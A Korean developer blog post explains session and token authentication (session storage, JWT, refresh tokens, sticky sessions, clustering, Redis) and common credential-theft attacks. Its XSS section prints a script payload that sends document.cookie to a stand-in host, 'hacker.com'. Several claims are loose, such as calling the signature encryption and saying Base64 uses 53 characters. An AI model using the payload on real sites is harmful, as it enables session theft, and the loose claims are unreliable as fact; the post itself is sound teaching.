<p>문제의 발생 원인은 서버 하나하나가 각자 세션을 관리하기 때문이었다. 이 문제를 해결하기 위해 <strong>세션 데이터베이스</strong>를 도입하였다. 그리고 이러한 기법을 <strong>Session Storage</strong>라고 한다.</p>
<p>서버들이 관리하는 모든 세션들을 하나로 통합하여 데이터베이스에서 관리하는 방법이다. 로드밸런서가 여러 서버로 요청을 전송해도 결국 <strong>하나의 세션 데이터베이스에서 세션 값을 가져올 수 있기 때문에 인증이 불일치하는 문제점을 해결</strong>할 수 있었다.</p>
<p>그러나 이 방법 또한 <strong>클라이언트가 많아진다면 하나의 세션 데이터베이스에서 모든 요청에 대해 관리하는 것은 무리</strong>일 것이며, 더 나아가 세션 데이터베이스에 장애가 발생한다면 모든 요청을 받지 못하게 되는 문제가 발생한다.</p>
<h3 id="stateful">Stateful</h3>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/b93fe0ae-bc57-4a3b-ac34-035b0ad6881c/image.png" alt=""></p>
<p>우리는 인증 정보를 유지하기 위해 다분한 노력을 해왔다. 클라이언트 상에서 유지해보기도 하고, 보안 상의 문제가 발생하자 서버와 데이터베이스까지 활용해보기도 하였지만 문제점은 여전히 발생하였다.</p>
<p>이렇게 문제가 계속 발생하는 이유는, 우리가 클라이언트와 서버 간의 통신을 위해 사용하는 HTTP 프로토콜과 서버가 지향하는 Rest API가 무상태성을 기반으로 하기 때문이다. 그러나 우리가 실제로 인증과 인가를 구현할 때는 사용자의 정보이자 상태를 갖고 있기 위해 노력한다. 즉, 상태성을 갖고 있다.</p>
<blockquote>
<p>클라이언트 서버 구조가 갖고 있는 <strong>Stateless</strong>와 인증-인가를 위해 필요한 <strong>Stateful</strong>, 두 패러다임이 서로 충돌을 일으키고 있다. 인증-인가에서 문제가 계속 발생하면서 이러한 패러다임 충돌을 근본적으로 해결해야 문제가 해소될 수 있을거라 생각하기 시작했다.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/1bb4cecf-6fc3-4395-a1f6-2fe6d602fb11/image.png" alt=""></p>
<p>다시 처음으로 돌아가서, 우리는 클라이언트-서버-데이터베이스에게 한 번씩 사용자의 상태를 맡겨보았다. 그럼 이제 마지막으로 사용하지 않은 것이 하나 남아있다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/86cc2f57-5953-4486-bb58-b78dc4f31432/image.png" alt="">
바로 <strong>요청과 응답</strong> 속에 사용자의 상태를 담는 <strong>TOKEN 방식</strong>이다.</p>
<h3 id="jwt">JWT</h3>
<p>토큰 방식에는 여러가지가 존재하는데, 그 중에서 가장 많이 사용되는 <strong>JWT(Json Web Token)</strong>에 대해 알아보고자 한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/412ef6c3-70ed-4c44-9823-39f867a92d4c/image.png" alt=""></p>
<p>JWT는 <strong>헤더, 페이로드, 시그니처</strong>로 이루어져 있다.</p>
<h4 id="header">Header</h4>
<p>헤더는 <strong>토큰의 유형과 서명 알고리즘</strong>을 갖고 있다.</p>
<blockquote>
<p>{
    &quot;typ&quot;: &quot;JWT&quot;,
    &quot;alg&quot;: &quot;HS256&quot;
}</p>
</blockquote>
<p>위 헤더는 JWT 타입의 토큰을 HS256 서명 알고리즘을 통해 구성되었음을 나타낸다.</p>
<h4 id="payload">Payload</h4>
<p>페이로드는 <strong>클레임(Claim, 사용자의 정보)</strong>을 갖고 있다.</p>
<blockquote>
<p>{
    &quot;username&quot;: &quot;ssafy&quot;,
    &quot;auth&quot;: &quot;user&quot;,
    &quot;expiry&quot;: 1646635611301
}</p>
</blockquote>
<p>페이로드는 그대로 노출되어 있는 정보이기 때문에, 클레임에는 인증-인가에 필요한 <strong>최소한의 정보</strong>만을 넣어야한다. 사용자의 아이디와 비밀번호와 같은 민감한 정보들은 포함되서는 안되며, 주로 권한이나 토큰의 발급일과 만료일자와 같은 정보가 클레임에 들어간다.</p>
<h4 id="signature">Signature</h4>
<p>시그니처는 가장 중요한 부분으로 <strong>헤더와 페이로드를 합친 후, 서버가 발급해주는 secret key로 암호화</strong>하여 토큰을 변조하기 어렵게 만들어준다.</p>
<blockquote>
<p>HMACSHA256(
  base64UrlEncode(header) + &quot;.&quot; +
  base64UrlEncode(payload),
  secret
)</p>
</blockquote>
<p>토큰이 발급된 후 누군가 페이로드의 수정을 시도한다면 페이로드에는 다른 누군가가 조작된 정보가 들어가 있지만, 시그니처에는 <strong>수정되기 전의 페이로드 내용을 기반으로 암호화된 결과가 저장되어 있기 때문에 서로 불일치</strong>하게 된다. 서버는 이를 토대로 토큰의 조작 여부를 쉽게 판단할 수 있어 <strong>토큰을 악용하기 어려워진다.</strong></p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/881e7c73-69f1-4a7e-a2f5-0575cf08422e/image.png" alt=""></p>
<p>이렇게 완성된 토큰은 Base64를 통해 인코딩된다. 
결과적으로 JWT는 <strong>&#39;.&#39;으로 구분된 Base 64 기반 문자열의 합</strong>으로 이루어져 있다.</p>
<h4 id="jwt의-작동방식">JWT의 작동방식</h4>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/5b10ca8f-3689-4cee-b6cd-2d963428fa2f/image.png" alt="">
클라이언트가 처음 서버에 인증 정보를 전송하게 되면, 서버는 정보가 유효한지 확인한다. 정보가 유효하다면, 서버는 고유의 <strong>비밀 키(Secret Key)</strong>를 기반으로 인증 정보를 토큰화한다. 토큰화된 정보는 클라이언트에게 전달되어 스토리지에 저장된다. 이후 요청을 보낼 때 JWT 토큰을 함께 전송하게 되고, 서버는 이를 디코딩하여 인증 절차를 진행한다.
<img src="https://velog.velcdn.com/images/dev-jay/post/6cf2b606-b23e-4541-a735-8b0976be55bb/image.png" alt=""></p>
<p>JWT 토큰은 로드 밸런서가 서로 다른 서버에 요청을 전송하더라도 비밀 키를 기반으로 디코딩만 수행하기 때문에, <strong>세션 데이터베이스처럼 어딘가를 한번 더 거칠 필요가 없다는 장점</strong>이 있다. 이 장점은 현대 시스템에 중요한 <strong>확장성</strong>과도 연결이 되는데, 3대였던 서버가 5대가 되어도 각자 디코딩을 하여 인증을 수행할 수 있다는 장점도 생긴다.</p>
<p>그러나, JWT 토큰 또한 해커에게 탈취당할 경우 사용자의 권한으로 서버에게 요청을 보낼 수 있다는 단점이 존재한다.</p>
<p>이를 방지하기 위해 토큰에도 <strong>만료기한</strong>이 존재한다. 만료기한이 지날 경우 해커도, 사용자도 이 토큰을 사용할 수 없게 된다. 하지만 토큰을 사용하지 못하게 될 경우 사용자는 불편함을 겪어야 한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/12ed0e74-63b9-41d9-b72d-b12f91f724af/image.png" alt=""></p>
<p>불편함을 해소하기 위해 나온 방안이 <strong>Refresh Token</strong>이다. 
기존에 생성된 Token을 <strong>Access Token</strong>으로 구분한다.</p>
<p>클라이언트가 최초 요청 시 Access Token과 함께 만료 기한을 정하여 Refresh Token을 생성한다. 이 Refresh Token 은 새로운 저장소에 저장되어 관리되며, 이 때 Access Token은 서버에 별도로 저장되지 않는다. </p>
<p>클라이언트가 서버와 통신하던 중 Access Token이 만료된다면, 서버를 통해 토큰이 유효하지 않다는 응답을 받게된다. 이 때 클라이언트는 스토리지에 저장되어 있던 Refresh Token을 통해 요청을 다시 보내고, 서버는 저장되어 있는 Refresh Token 이 일치하다면 새롭게 Access Token을 갱신하여 발급하게 된다.</p>
<blockquote>
<p>토큰으로 상태관리를 하기에 따로 세션을 둘 필요가 없다는게 장점이지만, <strong>결국 토큰도 탈취당할 위험이 있기 때문에 관리를 해주어야 된다는게 핵심</strong>이다.</p>
</blockquote>
<p>개인적인 견해로, 길을 걷다 신용카드를 잃어 버릴 경우 신용카드를 주운 사람이 카드를 마구잡이로 사용한다고 신용카드 회사에 책임을 묻지 않는다. 물론 회사에 도난 신고를 할 경우 회사에서 충분한 조치를 취해주어야 한다. 웹 또한 같은 이치로 토큰을 탈취 당하지 않도록 사용자도 경각심을 가져야 하지 않을까?</p>
<h2 id="작성하면서-궁금했던-것들">작성하면서 궁금했던 것들</h2>
<h3 id="세션은-정확히-어디에-저장될까">세션은 정확히 어디에 저장될까</h3>
<p>세션은 <strong>WAS의 세션 저장소</strong>에 저장된다. WAS의 세션 저장소는 WAS가 할당 받은 메모리 내에 존재하고, 그 WAS는 결국 서버의 메모리에 존재하니 결과적으로 <strong>세션은 서버의 메모리 내에 존재</strong>한다고 할 수 있다.</p>
<p>세션은 메모리 내에 존재하니 서버가 꺼지게 되면 세션도 함께 사라진다는 것을 자연스럽게 생각해볼 수 있다. 여기서 문득 이어진 생각은 <strong>무중단 배포 환경에서는 세션을 어떻게 관리할지</strong> 궁금했다. 아무리 무중단이라 할지라도 서버가 재배포되면서 세션을 유지할 수 있을까? 유지가 가능하다면 어떻게 가능한 것일까?</p>
<h3 id="무중단-배포와-세션-관리-기법들">무중단 배포와 세션 관리 기법들</h3>
<p>우선 서버가 여러 대일 때 세션을 관리하기 위한 기법으로 우리는 Session Storage를 배웠다. 그러나, Session Storage 말고도 두가지 기법이 더 존재한다.</p>
<h4 id="sticky-session">Sticky Session</h4>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/5c469c9c-0d87-4ace-85c0-55f774fcb865/image.png" alt=""></p>
<p><strong>Sticky Session</strong> 기법은 최초 사용자가 인증을 요청했던 서버를 <strong>로드 밸런서가 기억</strong>하여, 추후 사용자가 요청을 보내게 된다면 해당 서버로만 요청을 전송하도록 관리하는 기법이다. 사용자가 요청을 보냈던 서버에서는 사용자의 세션 정보를 갖고 있기 때문에 꽤나 심플하면서도 괜찮아보였다. 그러나, 요청을 활발히 보내는 사용자가 하나의 서버로만 통신을 하게 된다면 <strong>트래픽이 고르게 분산되지 못하여 로드 밸런서의 의의를 잃게 된다.</strong> 또한 해당 서버의 트래픽이 몰려 서버가 죽게 된다면 세션 정보가 모두 날라가게 된다! 이어서 다른 서버들에 트래픽이 몰리게 된다.</p>
<h4 id="session-clustering">Session Clustering</h4>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/5cd7482f-8337-4389-82ce-7213b84946e0/image.png" alt=""></p>
<p><strong>클러스터링(Clustering)</strong>이란 여러 대의 컴퓨터나 서버들이 하나로 연결되어 마치 하나의 시스템처럼 동작하는 것을 의미한다. <strong>세션 클러스터링(Session Clustering)</strong> 기법은 모든 서버가 서로 Session을 공유하도록 한다. 세션 클러스터링을 구현하는 방법은 WAS마다 다른데 Tomcat은 <strong>All-to-All 복제 방식</strong>을 사용한다고 한다. 사용자의 세션이 생성되거나 갱신될 때마다 Tomcat의 DeltaManager가 다른 모든 서버에 해당 세션의 정보를 복제하게 된다. 그러나 클러스터링 자체가 신규 서버가 확장될 때마다 기존 서버에 신설된 서버의 IP/Port를 등록해줘야 하고 이로 인해 <strong>에러가 빈번히 발생</strong>한다고 한다. 또한, 각 서버마다 세션을 위해 필요한 메모리를 공유하기 때문에 <strong>많은 메모리를 필요</strong>로 하며 복제로 인한 <strong>네트워크 트래픽도 증가</strong>할 가능성이 있다. 또 복제가 이뤄지는 사이에 세션이 추가되거나 갱신된다면 서로 세션이 불일치하는 <strong>동기화의 문제</strong>도 발생할 수 있다. 실제로 Tomcat의 공식 문서에서도 4대 이상의 대규모 클러스터는 권장하지 않는다고 명시되어 있다고 한다.</p>
<h4 id="session-storage">Session Storage</h4>
<p>앞서 설명했던 <strong>세션 스토리지(Session Storage)</strong> 방식에서 데이터베이스는 주로 <strong>Redis</strong>를 사용한다. Redis는 우리가 평소 사용하던 데이터베이스보다는 조금 특별한데, 모든 데이터를 메모리에 저장하고 조회하는 <strong>인메모리 데이터베이스(In-Memory)</strong>라는 특징이 가장 대표적이다. 따라서 서버가 꺼지게 되면 데이터베이스의 내용도 모두 사라지는 <strong>휘발성</strong>의 특징을 갖고 있다. </p>
<p>아니 근데, 각 서버마다 각자의 메모리를 갖고 있는데 어떻게 인메모리 데이터베이스를 통해 세션을 독립적으로 사용할 수 있다고 하는걸까? 인메모리의 정의는 내가 생각하는 것과 조금 다른걸까?</p>
<p>조금만 더 생각해보면, 사실 일반적인 데이터베이스도 서버가 필요하다는 사실을 알 수 있다. 우리가 날려주는 트랜잭션을 처리하려면 처리를 하기위한 서버가 필요하지 않겠는가? 서버와 데이터베이스는 서로 다르지만 데이터베이스를 위한 데이터베이스 서버가 존재해야된다는 사실을 간과하고 있었다. </p>
<blockquote>
<p>매번 서버를 구축할 때 가장 먼저 진행하는게 데이터베이스의 주소와 포트번호로 서버와 데이터베이스를 연결시켜 주는 거였는데.. 왜 당연하게 서버라는 사실을 몰랐을까..</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/99b09f32-afb8-402a-8061-a50139ab0c1e/image.png" alt="">
즉, 데이터베이스 서버의 디스크에서 데이터를 저장하는 기존의 데이터베이스와는 다르게 인메모리 데이터베이스는 서버의 메모리에서 데이터를 저장한다라고 이해하면 될 것 같다. 따라서 WAS 각자가 데이터베이스를 갖고 있는게 아니라, 하나의 독립적인 데이터베이스 서버로 데이터가 전송된다.</p>
<p>인메모리 데이터베이스는 <strong>주기적으로 디스크에 데이터를 저장</strong>해주기 때문에, 서버에 장애가 발생하더라도 디스크에 저장되어있던 데이터를 불러와 휘발성의 어느정도 단점을 해소할 수 있다고 한다.</p>
<h4 id="그래서-무중단-배포는-세션을-어떻게-관리하는데">그래서 무중단 배포는 세션을 어떻게 관리하는데?</h4>
<p>서론이 너무너무 길었지만 로드 밸런싱과 무중단 배포는 서로 연관되어 있다는 사실을 통해 <strong>로드 밸런싱을 위한 세션 기법들</strong>이 함께 따라 오는 것 같다.</p>
<p>무중단 배포의 원리는 개발자가 새로운 버전의 배포를 진행하게 되면 여러 대의 서버를 하나(그 이상)씩 중단시키고 배포하면서 트래픽을 아직 배포가 진행되지 않은(동작 중인 서버)로 보내는 방법이었다. 정확히 말하면 중단 없이 배포가 되는게 아니라 중단이 없어 보이는 것처럼 하는 배포 방식이었다.</p>
<p>따라서 무중단 배포를 위해서는 여러 대의 서버의 트래픽을 관리하기 위한 장치가 필요했고 이 것이 바로 로드 밸런서가 아닌가? <strong>무중단 배포는 로드 밸런서가 선행되어야 하는 관계</strong>였다.</p>
<h3 id="인증-정보는-왜-맨날-탈취당할까">인증 정보는 왜 맨날 탈취당할까</h3>
<p>사실 가장 궁금했던 것은 어떻게 인증 정보를 탈취하길래 이런 다양한 기법들이 생겨나게 된 것일까? 였다. 쿠키도 털리고, 세션도 털리고, 토큰도 털리고.. 그럼, 사용자가 최초 로그인할 때 헤더에 담기는 정보는 안털리나? 왜 이 부분은 따로 언급이 없지? 궁금했던 점들이 너무나도 많았다.</p>
<p>인증 정보를 탈취 당할 수 있는 방법들은 정말 많다고 한다. 그 중에서도 대표적인 클라이언트 탈취 공격 기법을 간단히 설명하겠다.</p>
<h4 id="xsscross-site-scripting">XSS(Cross Site Scripting)</h4>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/3037673e-d231-4e7d-ba52-28aff8b4b8a6/image.png" alt=""></p>
<p>XSS 공격 기법은 보안이 취약한 웹사이트에 악의적인 스크립트를 작성하여 사용자가 강제로 해당 스크립트를 실행하도록 만드는 공격 기법이다.</p>
<p>우리의 게시판 서비스의 게시글이 의도치 않게 자바스크립트가 동작하도록 구현되었다고 가정해보자. </p>
<blockquote>
<p>&lt; script&gt;alert(&#39;안뇽&#39;);&lt; /script&gt;</p>
</blockquote>
<p>한 호기심이 많은 사용자가 게시글에 자바스크립트를 작성해보았는데, 동작되는 것을 확인했다.</p>
<blockquote>
<p>&lt; script&gt;document.location=&#39;<a href="http://hacker.com/cookie?&#39;+document.cookie">http://hacker.com/cookie?&#39;+document.cookie</a>&lt;/ script&gt;</p>
</blockquote>
<p>위와 같이 코드가 작성된다면? 사용자는 영문도 모른채 쿠키가 탈취당하게 된다 ㅠㅠ 저렇게 작성되면 진짜 탈취 당한지도 모를 것 같다..</p>
<p>지금 이 글을 작성하면서도 놀랍게도 &lt; script&gt;라는 문구를 작성 시에 글이 사라지는 것을 발견했다. 이렇게 유명한 보안 취약점들은 개발자들이 사전에 알고 대비해야 된다.</p>
<h4 id="csrfcross-site-request-forgery">CSRF(Cross-site request forgery)</h4>
<p>CSRF 공격 기법은 웹 어플리케이션 취약점 중 하나로 사용자가 자신의 의지와는 무관하게 해커가 의도한 행위(인증-인가)를 특정 웹사이트에 요청하도록 유도하는 방법이다.</p>
<p>CSRF 공격 기법의 대표적인 피해 사례로 페이스북이 있다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/667813b4-7455-457f-a20f-e1218c16951a/image.png" alt=""></p>
<p>해커는 위와 같은 메세지를 무작위로 보내 링크를 클릭하도록 유도한다.</p>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/401b1a1d-6e4f-46e1-a331-10f1fc1ba552/image.png" alt=""></p>
<p>언뜻 보면 비슷한 사이트여도 로그인을 진행하면 내 아이디와 비밀번호는 그대로 해커에게 전송된다. 해커는 나의 계정을 통해 동일한 메세지를 지인들에게 전송하여 2차 피해를 발생시키거나 유해한 광고를 올린다. 항상 인증 절차 이전에 url을 확인하는 습관을 들이도록 하자.</p>
<h4 id="크게-와닿지-않아">크게 와닿지 않아</h4>
<p>액세스 토큰은 유효기간이 짧기 때문에 탈취 당해도 큰 문제가 없어 보였다. 그런데 만약 리프레쉬 토큰이 탈취 당한다면? 이 토큰으로 해커가 토큰을 무한정 발급 받는다면?</p>
<p>클라이언트 공격 기법으로는 탈취를 시도하는게 쉽지 않아 보였다.
심지어 대부분의 리프레쉬 토큰은 <strong>Http Only Cookie</strong>라는 옵션을 통해 브라우저에서 쿠키에 접근할 수 없도록 제한하여 보안을 강화하였다.</p>
<p>그럼 리프레쉬 토큰은 어떻게 탈취될 수 있었던걸까</p>
<h4 id="중간자-공격mitm-man-in-the-middle">중간자 공격(MITM: Man In The Middle)</h4>
<p><img src="https://velog.velcdn.com/images/dev-jay/post/d561a3df-517d-4f33-baf7-4ea9c55ff8a7/image.png" alt="">
중간자 공격은 공격자가 사용자의 인터넷 서버와 해당 인터넷 트래픽의 목적지 사이에 끼어들어 데이터 전송을 가로채는 기법이다. 리프레쉬 토큰도 중간에 가로챌 수 있다. 일반적으로 HTTPS 프로토콜을 통해 안전하게 전송되어야 한다. 그러나 중간자 공격자가 HTTPS 연결을 도청하여 헤더에 담긴 리프레쉬 토큰을 탈취할 수 있다.</p>
<p>중간자 공격에는 대표적으로 패킷 스니핑, 패킷 인젝션, 세션 하이재킹 공격, SSL 스트리핑이 있다. 중간자 공격은 Wireshark, Ettercap, Burp Suite, Fiddler 등 패킷 스니핑, 패킷 인젝션, 패킷 캡쳐를 할 수 있는 툴로 실행된다.
<img src="https://velog.velcdn.com/images/dev-jay/post/3b4be850-a9f1-4f76-b6ab-afc16e5e5b42/image.png" alt=""></p>
<p>리프레쉬 토큰이 탈취당한 사례로는 인터파크에서 고객 개인정보가 유출되는 사건이 발생했다. 이 사건은 중간자 공격의 피해사건으로 로그인 세션 정보과 함께 리프레쉬 토큰이 탈취되었다. 이로 인해 해커들은 사용자들의 개인정보를 이용해 인터파크 티켓을 구매하거나 개인정보를 이용해 스팸메일을 보내는 등의 피해를 입혔다.</p>
<p>중간자 공격을 방지하기 위해서는 VPN 사용, HTTPS만 사용, 모든 통신에 종단간 암호화 실시, 출처가 불분명한 링크 클릭하지 않기, 집/회사의 네트워크 보안 확인하기 등의 방법이 있다.</p>
<h3 id="왜-base64인가">왜 Base64인가</h3>
<p>Base64를 사용하는 가장 큰 이유는 Binary 데이터를 텍스트 기반 규격으로 다룰 수 있기 때문이다. JSON과 같은 문자열 기반 데이터 안에 이미지 파일등을 Web에서 필요로 할때 Base64로 인코딩하면 UTF-8과 호환 가능한 문자열을 얻을 수 있다.  끝에 &#39;=&#39;과 같은 패딩 기호가 있다면 이는 구분자로써 사용되므로 대부분 Base64로 생각할 수 있다.  </p>
<p>기존 ASCII 코드는 시스템간 데이터를 전달하기에 안전하지 않다. 모든 Binary 데이터가 ASCII 코드에 포함되지 않으므로 제대로 읽지 못한다. 반면 Base64는 ASCII 중 제어문자와 일부 특수문자를 제외한 53개의 안전한 출력 문자만 이용하므로 데이터 전달에 더 적합하다고 한다.</p>
<p><strong>참고 자료</strong>
<a href="https://www.youtube.com/watch?v=y0xMXlOAfss">[10분 테코톡] 🎡토니의 인증과 인가</a>
<a href="https://cl8d.tistory.com/83?category=1359246">[Web] JWT를 통한 인증 과정 알아보기 - dolmeng2</a>
<a href="https://blue-boy.tistory.com/227">우리가 Base64를 사용하는 이유 - Blue___</a>
<a href="https://hyeon9mak.github.io/session-storage-location/">쿠키와 세션에서 세션은 어디에 저장되는가? - 현구막</a>
<a href="https://velog.io/@0307kwon/JWT%EB%8A%94-%EC%96%B4%EB%94%94%EC%97%90-%EC%A0%80%EC%9E%A5%ED%95%B4%EC%95%BC%ED%95%A0%EA%B9%8C-localStorage-vs-cookie">JWT는 어디에 저장해야할까? - localStorage vs cookie - 권세진</a>
<a href="https://supertokens.com/blog/what-is-jwt">What is a JWT? Understanding JSON Web Tokens - Rishabh Poddar</a>
<a href="https://creeraria.tistory.com/38">서버가 여러 대일 때 세션 관리는 어떻게 할까? - Aria Park</a>
<a href="https://escapefromcoding.tistory.com/597">nginx를 이용한 로드밸런싱 및 무중단 배포 - 코동이</a>
<a href="https://velog.io/@ckdwns9121/%ED%86%A0%ED%81%B0token%EC%9D%80-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%83%88%EC%B7%A8-%EB%8B%B9%ED%95%98%EB%8A%94%EA%B0%80">토큰(token)은 어떻게 탈취 당하는가? - ckdwns9121</a></p>
]]></description>
        </item>
    </channel>
</rss>